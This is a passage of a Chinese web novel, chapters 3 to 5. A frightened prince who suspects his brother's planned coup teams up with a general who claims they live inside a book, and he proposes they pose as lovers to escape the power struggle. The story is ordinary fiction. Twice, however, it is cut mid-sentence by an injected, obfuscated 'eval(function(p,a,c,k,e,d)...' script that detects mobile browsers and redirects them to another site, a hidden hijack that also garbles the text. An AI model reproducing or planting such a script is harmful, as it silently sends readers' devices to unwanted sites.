《计划有变,预备登基》 3. 妙计 萧汀的脑中霎时空茫。 继而恐惧自头顶浇下,浇到后脖颈发冷,连脚趾头都凉透了。 “……太子哥哥。”他开口时声音竟还算稳当,连自己也觉着意外,“这衣裳真好看。” 太子只静静看着他。 “绣工真好,瞧这金线走得这般密,竟是一丝也不曾歪。”萧汀专注盯着那件龙袍的袖口,像在品鉴一件珍宝,“色泽也好,大气。料子可是蜀锦?看着滑溜得很……” “长寿。”太子叫了他的字,“离那么远做什么,近来些。” 这跟了还没多久的字落在萧汀耳朵里,似乎又别有含义。现在但凡说个“不”,恐怕就不是长寿,是短命了。他手指微蜷,停了嘴,小小往前蹭了两步,一时只能听见胸膛心若擂鼓。 “你觉得这衣裳,合身吗?”太子又问了一遍。 那可太合身了。肩线腰线严丝合缝,本就照着太子的身量一寸寸制出来的。 萧汀本想装傻糊弄过去,可太子显然不接招,非要他亲口答这一句。若这会儿再装听不懂,那就不是笨蛋,是个彻头彻尾的傻子。 没辙了。 萧汀把心一横,认真点头,“合身,极合身,太子哥哥穿什么都好看。”夸完话锋一转,“不过……小九这会儿来可不是赏衣服,是来告状的。” 他也不管太子是什么反应,自顾自往下说,“那个镇国将军费适,同他说话当真费劲。今日来寻我啰嗦半天,竟是来拒婚的!太坏了!” 太子的眉头皱了一下。 “太子哥哥交代的事儿,小九办的可认真了,亲手雕了根簪子本欲博费小姐一笑,他倒好,这不妥那不妥的,依我看,他八成是看上了三哥或六哥,嫌臣弟没本事,瞧不上罢了。太子哥哥你说气人不气人?” 萧汀摆出骄纵嘴脸,噼里啪啦一通发作。至于原本想告诉太子的那些话、费适说的那些鬼话,他现在半个字也不敢往外吐。不管费适是真神仙还是从别的地方听到的风声,正如他所言,二人有共同的秘密,总归是一条船上的。甚至说不定,已是唯一一张保命的底牌。 “簪子呢?”太子忽然问。 “嗯?” “你雕了一夜的那根簪子呢?” 萧汀万没料到太子会突然问起这个,老实答,“在费适那儿,我看他喜欢的紧……便给他了。” 太子看着他,慢慢地笑了。 那个笑容极淡,平日里也常见,可不知道为什么,萧汀觉得后背上的汗毛一根根地竖了起来。他面上不显,只在袖子里攥紧了自己的手指。 “喜欢的紧……”太子重复了一句,低下头,慢条斯理地整理袖口,“怪不得,费适出了你府门上了马车,坐在车里就把簪子插头上了。当真喜欢得紧。” 萧汀顿觉兢惶。 太子知道他刻木头刻了一夜,也知道费适坐在车里的动静,他们的一举一动都在人家眼皮底下……幸亏没扯什么谎话。 他想咽口唾沫缓缓,但嗓子干得能冒烟。 “那个……太子哥哥,木头做的簪子不值几个钱,我想着为费小姐备的礼物也不好转送旁人,不如……”他竭力扯出一个笑,“定远将军既喜欢,臣弟便……” “行了。”太子打断他,语气恢复了几分兄长的温和,“孤没怪你,随口一问罢了。” 他走到萧汀面前,伸出手,像儿时那样在他头顶轻轻拍了两下。 萧汀安静站着,仰脸露出个孺慕的浅笑。 “回去吧。”太子说,“天要黑了,路上当心些。至于定远将军……”他仿佛真的就只是碰巧让弟弟来看了眼新衣裳,与费家结亲的事也不再提,只冷冷“呵”了一声。 他不提,萧汀更不敢多问,行个礼转身就往外走,穿过短廊,出了侧门,走过那条空荡荡的宫道,全程没有一个近卫。 不知道是被刻意调走了,还是他们本就背着长弓隐没在暗处看着他。 出了宫门坐上马车,车帘放下来的那一刻,萧汀整个人化在了车塌上。 冷汗从后背一路淌到腰间,里衣贴在身上,又湿又黏。 他的手开始发抖,于是塞回袖子里,眼不见为净。 但还是害怕。 怕极了。 萧汀从不主动探听朝政的事儿,可安顺消息灵通,总爱与他八卦些有的没的。所以他知道父皇这一年身体不太好,丞相愈加势大,那是贵妃的母家,三哥和老十的亲外祖,太子也因此备受掣肘……可再不好,却已经到了不得不拼命的地步吗? 谋逆啊,自古能得善终的有几个? 他这算是……被人架上了一条即将倾覆的沉船。 回到京邸,安顺迎上来帮他宽衣。手碰到内衫的时候,惊了一下,“殿下,您这衣裳怎么湿透了?” “热的。”萧汀说。 安顺仰头看了他一眼。酉时都快过了,外头又有风,殿下自小就体寒少汗,怎么就能湿成这样? “泡壶茶。”萧汀瘫在塌上,顿了顿,“罢了,不泡了,我想静静。” 安顺没敢再多问,退了出去。 萧汀摊平了四肢,盯着帐顶的暗纹发呆。 他虽然笨,但也不是完全没脑子。再把今天发生的事从头到尾捋一遍。 只有一个结论:费适知道太子要谋逆,所以不愿与他结亲。 可他为什么又要告诉自己?难道他说的都是真的……大晟皇朝,只是个话本子? 萧汀辗转反侧。 不管费适的话是真是假,有一点是确定的,他这条小命从现在开始就不再是他自己的了。 他一个连书都读不好的,怎么应付这种事?有什么办法能劝劝太子救救他,救救自己呢? 想不出来。想到头疼。 ……那就去问。 萧汀一骨碌翻身起床,开始换衣服。 入夜的定远将军府。 门房看见九皇子的车驾停在大门口的时候,忙不迭地跪礼恭迎,但还没来得及进去通报,九殿下已经自己跳下车,大步流星往里走。 费适在他的书房里。 门没关严,透出一线灯光。萧汀走过去,还没推门,就闻到一股甜丝丝的姜味。 门从里面拉开了。 费适站在门口,一身家居的白色常服,头发散着,比日间少了一层端正,多了几分随意。他侧身让开门,目光在萧汀脸上轻轻扫了一下。 “殿下,请进。” 桌上摆着一碗热姜汤,旁边一盘桂花糕,一盘蜜饯,一碟子切好的蜜瓜。姜汤还冒着热气,桂花糕是刚出笼的,面上还泛着油润的光。 萧汀愣了一下。 “……你知道我要来?” 费适笑而不答,只把姜汤往他面前推了推,“饮口热的,压压惊。” 萧汀没动。他盯着费适看了两眼,然后发现他头上还插着那根紫檀梅花簪。散着大半的头发,只簪一根木簪,看着……怪好看的。 不是,想什么呢…… “我问你。”萧汀一屁股在他对面坐下,“你今日同我说那些话,到底从哪儿打听来的?” 费适看着他,没接茬。 “你不必同我扯什么书不书的。”萧汀压低声音,“你直说……是不是知道太子要…那啥,所以才拒的亲?” 费适端起自己的茶钟,饮了一口,搁下。 “殿下方才去过东宫了。” 语气该死的闲适又笃定。萧汀的嘴张了一下,又憋气的合上了。 “瞧见什么了?”费适又问。 萧汀不说话。转头盯向桌面上的桂花糕,喉结动了一下。 费适也没逼他。就那么安安静静地坐着,偶尔饮一口茶。窗外的虫鸣从墙根底下传来,一声接一声。 过了好一会儿,萧汀静静地开口:“你说得对。” 费适投过眼神。 "我大约要死了。"萧汀抬起头,眼眶有点红,“谋逆大罪,凌迟……也不算冤枉吧。” “所以殿下现在信了?” "半信半疑。"萧汀说,“除非你再说一桩旁人不知道,只有我知道的事。” 费适把茶钟放回原位。 书里作为大反派忠心狗腿的九皇子,着墨其实并不太多,他大概思量了一下,“殿下六岁时,有一日饿得实在受不住,在宫墙夹角的地方扣土吃……” 萧汀的眼睛瞪得更圆了,隐约有掉金豆子的前兆。 费适端起姜茶递到他手里,“喝点吧,殿下手在抖。” 萧汀低头一看,自己的手果然在微微发颤。他接过姜茶灌了一大口,辣得龇牙,但胃里确实舒服了点。 好半晌稳住情绪,萧汀闷闷地问,"那……咱们都是话本子里的人物?" 费适答,“是。” 萧汀回瞪着他,“那这话本叫什么名儿?” “《暴君的替身娇囚》” “……啊?” "书名。"费适重复了一遍。 萧汀大眼眨巴一下。这名字也太……风月了点。 他捧着姜茶又灌了一口,沉默了一会儿,问:“那此书之中,我的雕工能排第几?” 费适的神情顿了一下。 “什么?” "雕工啊。"萧汀理直气壮,“你既看过这本书,那书里肯定写了各种人物的本事,我的木雕在大晟能排第几?前三有没有?” 费适看着他。 萧汀的眼睛在灯光下亮亮的,因为刚喝了热姜茶,眼眶泛着一点水光,眼尾有些下垂,下眼睑也比常人宽大些,一旦专注看着你,就像只无辜求怜的狗狗。他问这个问题的时候显然是非常认真的,认真到让费适不知道该说什么。 “……书里没写这个。” 萧汀的嘴瘪了一下,对这个答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17503068|202852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案不算满意,但仔细想想,木雕这种东西,大约确实冷门了些,于是又问:“那厨艺呢?我的厨艺也相当不错,能进前十嘛?” “……” 费适:“殿下夜里来,便只想问这些?” "不然呢?"萧汀反问,“我总不能问我到底被剐了多少刀?听着就瘆得慌。” 费适沉默片刻。 “……书中未提及厨艺。” “那这书写的什么?光写谁死得惨?” 费适隐隐露出些笑意。 他就知道,笨蛋绝不是那么好拿捏的。 因为他们压根不按常理出牌。 眼前这个人像一只在迷宫里乱撞的兔子,你以为他要找出口逃生,结果他钻进了墙角的花坛里,开始研究这土好不好种萝卜,种出来甜是不甜。 "殿下。"他礼貌地提示,“不想问问其他正事?” "我这便是正事。"萧汀一脸认真,“我不通朝政,知道那么多也没有用,太子一向决断,我肯定是劝不动的。那便想问问跟我有关的事。雕工排第几,厨艺排第几,这些我总得心里有数吧?万一将来真到了那什么……的时候,好歹知晓自己哪一桩是拿得出手的。这辈子……也不算白活了。” 最后半句话声音很轻,像是随口的呢喃,却让费适沉默了一会儿。 "殿下的雕工,在这本书涉及的所有人物里,排第一。"他说。 “真的?” “真的。书中无人会刻木雕。殿下是独一份。” 萧汀的嘴角翘了起来。 "那就好。"他小声说完,转头拿起块桂花糕。 费适看着他纤细修长的手指把点心整个塞进嘴里。 半晌,萧汀把最后一口桂花糕咽下去,拍了拍手上的碎屑,又灌口姜汤压了压,正色道:“行了,正事正事。你说让我同你共进退,怎么个共进退法?” "互通有无。"费适说,“臣知道的,告知殿下。殿下瞧见的,也告知于臣。你我二人先在太子这桩事里保住性命,其余日后再说。” "成。就这么着。"萧汀站起来,“那我回去了。” 他走到门口,又折回来,指了指桌上的蜜瓜:“这个我能带走吗?” “请。” 萧汀拎了一兜蜜瓜,心满意足地走了。 回府的路上他干脆没上马车,走得慢悠悠的。巷子里昏暗,只墙头漏出几盏灯笼的光,蜜瓜揣在布兜里隔着料子透凉,他走几步摸一块出来啃,啃完把瓜皮往墙角一丢。 费适在等他。姜汤是提前熬的,糕是他爱吃的而且刚出笼,瓜是切好码齐的。因为费适知道他今晚一定会去。 被人猜透的感觉按理说不太好,但萧汀啃着脆甜的蜜瓜走在黑巷子里,心里反而踏实了。至少,他大概真的多了一条船,船夫还是个聪明的天外飞仙。 回到府里,安顺守在门口望眼欲穿,“殿下您可算回来了!” “散个步嘛。”萧汀把剩下的蜜瓜往他手里一塞,“尝尝,将军府的,特别甜。” 泡在浴桶里的时候,热水没过肩膀,水汽氤氲。 萧汀的手指无意识拨弄着水面,脑子里一直在转。几个兄弟的争斗已经到了这个地步,他一个笨蛋夹在中间什么都干不了……也不对。 有一件事可以干。 退出,宣布彻底退出。 那要怎么退? 萧汀想了好半天,忽然想起昨日在东宫,太子说起那两个挨板子的人时,语气里的厌恶浓得化不开。 他蹭地从浴桶里站起来,水花溅了一地。 对,装个断袖! 只要他成了断袖,太子会厌弃他,哪个阵营也都不要他,夺嫡跟他再没半点关系。 此计妙极。天衣无缝。他简直是个天才。 那么问题来了……与谁装? 安顺?贴身又贴心,最是合理。 可萧汀只想了一息就把这念头甩开了。真要事发,安顺那小身板大概扛不了十板子,得找个抗揍的。 有了。 萧汀套上衣裳就往外跑。安顺端着木盆从廊下经过,看见自家殿下头发还在滴水,人都傻了,“殿下,您这大半夜的又要去哪儿?!” “出去一趟。” “都亥时了……” “不必多言。”萧汀头也不回地往外奔。 定远将军府。 门房这回的脸色很有些精彩。大半夜的,九殿下第二回来。 书房还亮着灯。萧汀轻车熟路穿过前院,绕过回廊,远远看见门缝里透出来的灯光。 推开门,费适还坐在原来的位置,手里换了杯清水。他抬起头,目光在萧汀脸上停了一瞬,眼底是真真切切的意外。 这让萧汀很有些得意。 他站在门槛边,邪恶地勾起嘴角:“降虎兄~” 费适右眼皮跳了一下。 4. 亲热 “降虎兄,不如你我假做一对断袖吧?” 萧汀睁着亮晶晶的大眼,认真的说。 费适没什么表情,不知道是不是没听清,只有指尖微动了一下。 萧汀于是又重复了一遍。 书房里安静了两息,然后椅子响了一下,费适站起来,两步就到了萧汀身前。 这人的个头太有压迫感,而且萧汀也没料到他动作看似舒缓其实靠近那么快,本能地往后退了半步,后背抵在了门框上,只好把头彻底仰起来才能看到他的脸。 还没看清,先嗅到了这人身上的味道。像陈年的木头被水浸过,再慢慢晾干,涩的,还有点沉,不冲鼻子但又钻得很深。 萧汀识得这味道,太子书房里有段时日也爱熏这个,但会掺了龙涎,甜腻一些。费适身上这个更干净,像这人本来就是块散着微香的木头。 他不知道自己为什么要去分辨这个,可能是从小嗅觉就好,也可能是靠得太近太近了,近到没有别的选择。 至于他的视线,刚好平着费适的喉结,很明显凸起的一块。 再往上看,费适也正低头看他。灯火从侧面映过来,大将军半张脸在光里,半张脸在暗处,眼睛被垂落的睫毛挡着,看不透,但萧汀能感觉对方的目光正在自己脸上游走。 然后费适抬起了手,用拇指和食指捏住了他的耳垂,轻轻搓了一下。 就一下。 指腹蹭过耳廓最薄的那层皮,灼热的,粗粝的,像锉草蹭着细腻的木纹在打磨。当然不疼,但从无旁人触碰过的地方突然被捏了一下,感觉有点奇怪。 萧汀愣了大概三息,然后也伸手摸了摸自己的耳朵。 “……粘了什么东西吗?” 费适没答话。 “有蚊?”萧汀又挠了一把,什么也没挠到。 费适忽然就闷笑了一声。 萧汀被这声笑得有点懵,却也想不出这人是什么意思,就看见眼巴前那颗喉结滚动了一下。 费适也没解释,转身走开了。走向靠窗放着的一张竹编躺椅,一歪身子靠了上去,长腿伸直,交叠着搭在椅子脚上。 月光从窗纱筛进来,把他整个人照得又松又散,像一只吃饱了找个舒服地方趴下的大山猫。 “殿下方才说的可当真?”费适半仰着下巴,语气懒洋洋的。 “自然当真。”萧汀说,“这主意绝好,太子最厌恶这个,以后估计连看都不想再看我一眼。我原本想让安顺同我装一装,可他一个小珰,事发了……唯恐保不住他,还是将军稳妥些,这不,连夜就来寻你商量。” 费适“嗯”了一声,没表态。 萧汀等了一会儿,等不到回应,有点急了,往前走了几步走到躺椅边,把费适的长腿往里推了推,自己一屁股坐在边上,“你不会不知道断袖是什么吧?” 虽说大将军已经二十有二了,但听闻十四岁就上了战场,到如今也是孑然一人,这些风月事不太懂也是正常的。他组织了一下语言,争取鲜活易懂,“就是……就是分桃断袖嘛,大抵就是俩男的好得跟一个人似的,同吃同住,形影不离。 顿了一会儿,他朝费适凑近些,微俯着小声补充,“就……像夫妻一样过日子。” 费适抬起眼皮,目光从他还有些湿润的发尾移到领口,又从领口一路往下……萧汀大概出来得急,衣裳没束好,腰带松松系着,中衣的领口敞了一截,露出一小片锁骨和下方一段白得晃眼的肌肤。 费适的目光停了一瞬,随即又挪开。 萧汀压根没注意这一眼,他在等着对方的回答,等着等着就专注看向费适的嘴。这人的唇线很清晰,上唇薄而下唇略厚,说话的时候下唇会先动,像被人捏着拉了一下再松开,怪有意思的。 “殿下。”费适的声音懒懒的,“可想好了?” “嗯。自然。”萧汀点头。 “……在大晟朝,断袖之名可不是闹着玩的。”费适的声音慢下来,“为人不齿,遭人唾骂。朝臣会在背后议论,百姓也会指指点点,你父皇知道了,或许不会处死我们,但大概不会再正眼瞧你一次,你确定?” 萧汀应声,“本来也没瞧过几眼。”这话说得极随意,语气里连自怜都没有。 费适单手撑着脑袋看他,有那么一瞬没接话。 尔后笑了笑,“行啊。” “真的?”萧汀有点小意外。 “嗯。你是唯一知道我秘密的人,我不会骗你。”费适在躺椅上坐直了,“但既然要装,那就得装得像些。得有个由头。” 萧汀被那句“唯一”哄得心花怒放,很是乖顺:“你说你说。” “第一桩,你我如何相识。” “今日在我府上第一回见。” “不对。你我不是第一回见。我上月班师回朝,你在长庆街凑热闹,你我隔着人群多看了对方一眼。一见……”他顿了顿,“钟情。” 似乎没毛病。 被费适这么一说,萧汀忽然回过神,也对啊,和大将军这还是生平头一回见。他也不知道为什么,也就几个时辰而已,居然就能熟稔成这样……管他呢,这大概就是传闻中的一见如故吧。 “好,记住了,长庆街上多看了一眼。第二桩呢?” “今日我来拒婚,实在是借口。真正想说的是另一番话。” “什么话?” “你想想。”费适循循善诱。 萧汀皱着脸想了好一会儿,忽然眉毛一扬:“你其实是来同我表露心迹的。你早在长庆街就看上我了,所以不想我和令妹成亲,亲自登门来拒。” 费适微微颔首:“对。然后你怎么答?” “我……我也看上你了?对啊……那可真是巧了,将军头上的簪子。” 萧汀翘起了唇角,抬手指了指费适发间,“是我亲手为爱妃雕的,太子的人已经瞅见你插头上了,这可真是排上了用场。” 费适微顿,然后垂下眼也笑了笑,“……是,定情信物么,正好合用。” 萧汀美滋滋把那根簪子再看过几眼,心想既然要做断袖,那就得做真。做真的第一步,就是赖在将军府一夜不归。所谓一见钟情么,自然要抵足而眠的。 费适领他去了次间。 次间不大,但收拾得利落。一张架子床靠着北墙,床上铺着夏布薄褥,一张竹丝凉席已经展开,墙角搁着一只硕大的铜冰盆,从缝隙里往外渗着丝丝凉气。隔壁耳房里也有一张床,铺设差不多,中间只挂了道布帘。 萧汀在次间站了站,觉得这间房比他在京邸的卧房还舒坦。他那到了三伏天也只放两小盆冰,还舍不得多添,因为冰块是按份例拨的,他份例低,安顺每次去惜薪司领冰都要跟人赔笑。这里倒好,冰盆又大又足,凉气把整个屋子浸得像初秋。 "我睡这儿?"他问。 “嗯。我在隔壁。” "那不行。"萧汀斩钉截铁,“断袖哪有分房睡的?” 费适看了他一眼。 “……就隔一道帘子。” “那也不行。” 费适沉默了一息,大约是觉得大半夜跟人争这个实在没什么意思,点了下头:“成,那我就睡这儿。殿下睡床,我打地铺。” 萧汀满意了,任由费适唤来的小厮帮着再洗漱一遍,然后脱了外衫踢掉鞋,翻身上了床,往竹丝凉席上一躺。 凉。 真凉。竹丝压在皮肤上,冰沁沁的,铜冰盆的凉气丝丝缕缕地飘过来,把帐子里的暑气全压下去了。 萧汀舒服地叹了口气,把薄巾扯过来搭在肚子上。 费适自隔壁抱了一卷凉席过来,铺在床边的地上,又从铜冰盆旁边匀了一小盆搁在自己那头。脱了外衫,和衣躺下了。 灯灭了。 屋里只剩下铜冰盆偶尔发出细微的"咔哒"声,冰块在融化,碎成小块,撞在铜壁上。 但萧汀没怎么睡着。有点冷。 他体质比较畏寒,开始是觉得挺凉快,可在冰盆边上躺了一刻钟,脚就开始发凉了。竹丝凉席更是雪上加霜,时间一长,凉意就渗进了骨头缝里。 他把薄巾往下拽了拽,盖住脚。但冰纱巾太薄了,裹住了也不顶事,凉气还是从底下往上钻。 他翻了个身。凉席发出细微的"簌簌"声。 地上的人翻了一下。 "殿下?" 费适的声音在黑暗里响起来,低低的。 “没事。” 又翻了个身。 “……殿下如果怕冷,我把冰盆挪远些。” "我不怕冷。"萧汀嘴硬。 费适没再说话。 萧汀蜷着腿侧躺,把自己团成一个小团。 过了一会儿,他听见地上响了一下,是费适起身的声音。然后是铜冰盆被挪动的声响,冰盆被挪到了门口的方向,离床远了些。 身周凉意退了一点,萧汀的脚也还缩着,但没那么冷了。 地上的人重新躺下。 "……谢谢。"萧汀很小声地说。 既然都没睡着,两人便有一句没一句地聊着,其实主要是萧汀,围绕着断袖兄弟的苟命计划在做一些奇思妙想。 费适话不多,但句句都有回应,直到一次长长的沉默,黑夜里传来萧汀平稳的呼吸声。 他静静地起身,将袖里短刃放进衣箱里,再度安静地躺下。 第二天清早。 萧汀睁眼的时候,三伏天的日头已经起来了,门缝里漏进来的光带着一股子暑气,和屋子里残存的冰气搅在一起,变成了闷闷的潮热。 他迷迷糊糊地翻了个身,好半天才反应过来自己在哪儿,然后看见费适已经不在地铺上。 萧汀坐起来发了会儿呆,下了床。没人帮着束发,头发散着,衣裳也穿得比昨天还随意两分,领口松松的,腰带系了个活扣。 然后走出了次间。 时机挺巧的,前院的仆人正在洒扫,来往走动最密集的时候。 费适在廊下站着,手里端着一杯早茶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17503069|202852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是在看院子里的花。 萧汀走过去。他还记得要开始演戏。可两个男人的感情要怎么演?他想了想,三哥和六哥喝完酒就拍肩膀捶胸,六哥还搂着三哥的脖子喊"好兄弟"。 就这个。 他走到费适身边,抬手狠拍了一下费适的肩膀。 "啪"的一声脆响。费适端茶的手晃了一下。 萧汀觉得不够,又补了一拳,捶在费适手肘上,"将军早啊。" 他仰起脸,笑得灿烂。 院子里,气氛开始诡异。 洒扫丫鬟手里的笤帚停在半空。端早饭的小厮脚钉在台阶上,盘子里的粥差点溢出来。廊柱后面探出半个脑袋,不知道谁家的,看了两眼又缩回去了。 萧汀心下得意,觉着自己特有天赋,演得甚好。 然后他看见了费适的表情,一种很微妙的、不知道该作何反应的表情。 "殿下。"费适把茶杯放到廊下的栏杆上,声音压得很低,只有两个人能听见,“你在做什么?” 萧汀也压低声音,但理直气壮的,“断袖情啊。” 费适闭了一下眼。 "殿下。"他睁开眼,“断袖不是这么演的。” 费适转过身,自然地抬手,替萧汀拢了拢散在肩上的头发。 就那么轻轻一拢,手指从萧汀的耳侧滑到后脑,把一缕乱发拨到耳后,指腹擦过耳廓的弧度,不超过一息。 又轻又慢还透着怜惜,像在拨弄一朵花的花瓣。 院子里"咣当"一声,不知道谁摔了东西。 萧汀愣住了。 他不太明白这个动作和刚才拍肩膀有什么区别,都是碰一下嘛。但院子里的反应明显不一样。 哇。 原来是这样,要轻轻的! 萧汀学到了。 但他没来得及模仿,因为张氏打算出门,正巧路过前院。 “九……九殿下?” 萧汀冲她露出个浅笑。 “伯母早。昨夜与将军聊得晚了些,便叨扰了一宿,多有冒犯,还望见谅。” 他说得客客气气、规规矩矩。但整个人贴着费适站在那里,散着头发,衣领松着,还说"叨扰了一宿"…… 张氏惊得不太能说话了,僵着脸,勉强挂着点笑,眼神在侄儿和九皇子之间游移。 费适在旁边接了一句:“伯母,早膳备好了吗?我陪殿下用些再走。” 这句比萧汀那一句杀伤力大多了。 不是"请殿下用些",是"陪"。一个将军陪一个皇子用早饭,在自家府里,在清晨,在这个场景下。 张氏的脸已经不只是僵硬了,还染了点颜色,是某种介于惊恐和崩溃之间的复杂颜色。 萧汀却觉得今日戏份已经演得很是足够,遂婉拒,“不叨扰了,怕府上人担心,先回去了。”说完冲费适点了点头,又冲张氏笑了一下,迈着轻快的步子往外走。 走到大门口的时候他回头看了一眼。 费适正低头跟张氏说话,他头上的紫檀木簪被日光映着,那朵小小的梅花亮得鲜活。 萧汀转回头,上了马车。 待马车走了个没影儿,张氏才彻底缓过神来。 "降虎。"她的声音还带着点抖,“你……九皇子他……” 费适笑着应答,“怎么了?” "他刚才……你……"张氏组织了好一会儿语言,“这到底是怎的回事?昨日不是还说亲事不成吗?” "伯母。"费适的笑没变,“是他和费莲的亲事不成。” 张氏听明白了,但到底没忍住,惊恐地压着声音说:“降虎,你疯了?你跟你妹妹抢亲事……你这……” 她说不下去了,因为实在不知道要怎么说,这也太荒唐了点。 费适没有立刻回答。 他垂着眼,看着院地上被晨光照亮的一块青砖,砖缝里有一根草,不知道什么时候长出来的。 "伯母。"他抬起头,笑容温煦,“莲儿的好姻缘,不在这一桩上。我心中有数。” 张氏看着他,想再说什么,但对面那双眼睛太平静了,平静到让她有些害怕,她弄不明白这种情绪是怎么来的,从小养大的侄儿,这次从战场回来却像变了个人,看上去明明是在笑,却又莫名地让人心里发寒。 她最终叹了口气,连出门的心思都淡了,转身回了屋。 费适站在原地,看着她的背影消失在院门后。 笑意慢慢收敛。 像江水退潮一样,一点点地退下去,最后露出底下混沌不清的淤泥。 家人这一关好过,毕竟明面上他是一家之主,是带着侯爵位分的定远将军,没人敢真的忤逆。 倒是萧汀那笨蛋,连断袖都不知道是什么,居然就敢自投罗网。 费适重新取回茶盏,放在手里摩挲了一下。好奇心愈发膨胀。 这小狗腿完全缺根筋,在书里到底是怎么逃过太子谋逆这一劫,安稳历经三朝活到最后的? 5. 回礼 长庆大街,辰时已喧。 临街铺面次第卸了门板,伙计当街泼水扫尘,水渍印在青石板上须臾便干了。 萧汀的马车招摇过市,停在京邸门口时,日头已经升得老高。不待人上前搀扶,他已轻快跳下了车,嘴里还哼着不知从哪儿听来的小调。 一路穿过前院,绕过影壁,在拐角处迎面撞上了疾驰而来的安顺。 安顺眼下一抹青黑,衣裳有些皱巴,头发也毛躁躁的,大约一宿没睡,看见萧汀的那一刻,一个大喘气,腿一软差点坐到地上。 “殿下……” “嗯?”萧汀伸了个懒腰,“怎的急成这样,我如今已加冠了,还能丢了不成?” “殿下!”安顺的声音都劈叉了,“您、您一整夜也不回来,小的以为您……”他嘴唇抖了抖,说不下去了。 萧汀这才意识到安顺是真的怕极了,心下一暖,伸手往他胳膊一拍,“别慌,我这不好好的么。” 安顺没应这话,瞅着萧汀一头的乱发低声抱怨,“殿下,您以后要是再在外留宿,好歹跟小的说一声,小的不拦您,就是……知道您在哪儿就行。” 萧汀“哦”了一声,抬腿往屋里走,听着贴身小珰一路的碎碎念,头一次对费适说的话本子有了点别的念想。 他侧头看了一眼安顺,瘦瘦小小的一个人,衣裳总会显得宽松了些,走路的时候微微弓着背,因为已经习惯了在人前缩着身子走。 安顺也是话本里的人吗?会有那么一两句提过他的名字吗? 萧汀想了一下。 如果安顺是假的,那刚才他的担忧心急也是假的吗?安顺陪着他这么多年的日日夜夜,替他去惜薪司领冰时被人扇的几耳光也是假的吗? 他约莫想了几息,然后就把这念头扔开了。 管它呢。萧汀小时候在偏宫里听一个老宫女讲过仙凡之别,说天上一天地上一年,说三千小世界各有各的活法,有的世界人长着翅膀到处飞,有的世界人还能活在水底。他当时信以为真,甚至现在也觉得,差不多也就一个意思吧。 就算他活在话本子里,那也该是他的活法。他有手,能刻木头,有嘴,能吃东西。有安顺,担心他照顾他。这就够了。至于写这个话本子的人是谁,是神仙还是鬼怪,为什么要写,后面会怎么写……那都不关他的事。 眼前活着就好。 想明白了,他伸手指戳了戳跟前的安顺。 “安顺啊,我跟你说个事儿。” 安顺回头,嘴还扁扁的。 萧汀把他拉进屋里,关上门,在桌边坐下,一脸郑重。 安顺看这架势,脸色莫名又白了两分。 “我准备要做个断袖。” 安顺一脸懵,“……什么?” “断袖。跟定远将军费适。”萧汀交代,“你以后在人前要注意,可别露了馅。” 安顺的扁嘴变了鱼嘴,刚捞上岸的那种。 过了好一会儿,他才找到自己的声音,“殿、殿下……您说什么?” “断袖啊。”萧汀又重复了一遍,“就是两个男人……” “小的知道什么是断袖!”安顺的声音拔高了,显得有些尖锐,立刻又压下去,“小的问的是……您,您这袖子怎么突然就断了?啥时候啊?小的怎么不知道?” “那不就这两日么,见到大将军的时候。”萧汀撒起谎来面不改色,“我就喜欢男的……他那样的。” 安顺不接茬,就盯着他。 好一阵,萧汀叹气,“真的,我说真的,我真心喜欢费适,昨日在他府上待了一夜抵足而眠,正是浓情惬意之时,雕给爱妃的那根簪子我也送他了,嗯,是我强迫他收的。” 安顺的脑子飞快转着。他虽然个头小,但其实比萧汀还大了四岁,在宫里混的日子长,见过的脏事也多。他记得殿下熬夜雕那支簪子时期待的模样,可转头就说送给将军了,还强迫? 一个纵横边域几乎没有败绩的定远大将军,被自家娇花般的殿下强迫收了一根簪子。 安顺总觉得哪儿有点不对劲,但看了看萧汀那张认真的脸,又把疑问咽了回去。 他跟了主子快十年了。 当年他在内官监当差,被派去偏宫送饭。推开那扇斑驳陈漆的门,看见一个五六岁的小孩蹲在墙角,瘦得皮包骨,头发结成绺,衣裳上全是灰土。 后来他知道了,那是死了生母的九皇子。九皇子的生母是个宫女出身,到死都没能有个正经名分,人一走,这孩子基本就没人管,也没人要,份例被人克扣得,别说夏冰和冬炭,就连吃饭都够呛。 安顺不知道自己为什么就留下来了。也许是那小孩狼吞虎咽塞馒头的时候抬头看了他一眼,问了一句"你吃过了吗"。 就这么一句话,安顺就留下了。一留就到了如今。 这些年里他看着这个小孩学会了厨艺,因为害怕挨饿。学会了刻木头,因为那是他唯一能学的。也学会了装傻,学会了在太子面前仰着脸露出孺慕的表情。他看着那些技能一样一样长出来,像看一棵树在石头缝里硬生生挤出了枝丫。 可他从来没看过这棵树开出一朵叫喜欢的花。 "殿下。"安顺想了半天,最后只说了一句,“您喜欢就好。”他转身走向衣箱,准备给主子挑身干净衣裳换换。 萧汀没注意安顺的情绪,随口"嗯"了一声,站起来,走到窗边。 他确实有件事还没想明白。 等断袖的事做实,他大概连做棋子都不够格了,能从夺位战里彻底脱身。可太子呢? 他对太子有惧。怕那只拍在头顶的手哪天变成缠在脖颈的绳索。 可他也有敬。如果不是太子随口一句话,把他从偏宫里捞出来,他不会有自己的京邸,不会有太傅教课,不会有安顺。他可能会在那个墙角蹲到死。 但劝是劝不住的。太子那个人,一旦决定了的事,别说一个笨蛋弟弟,就是老天爷来劝也没用。 那能不能……事后保他一命? 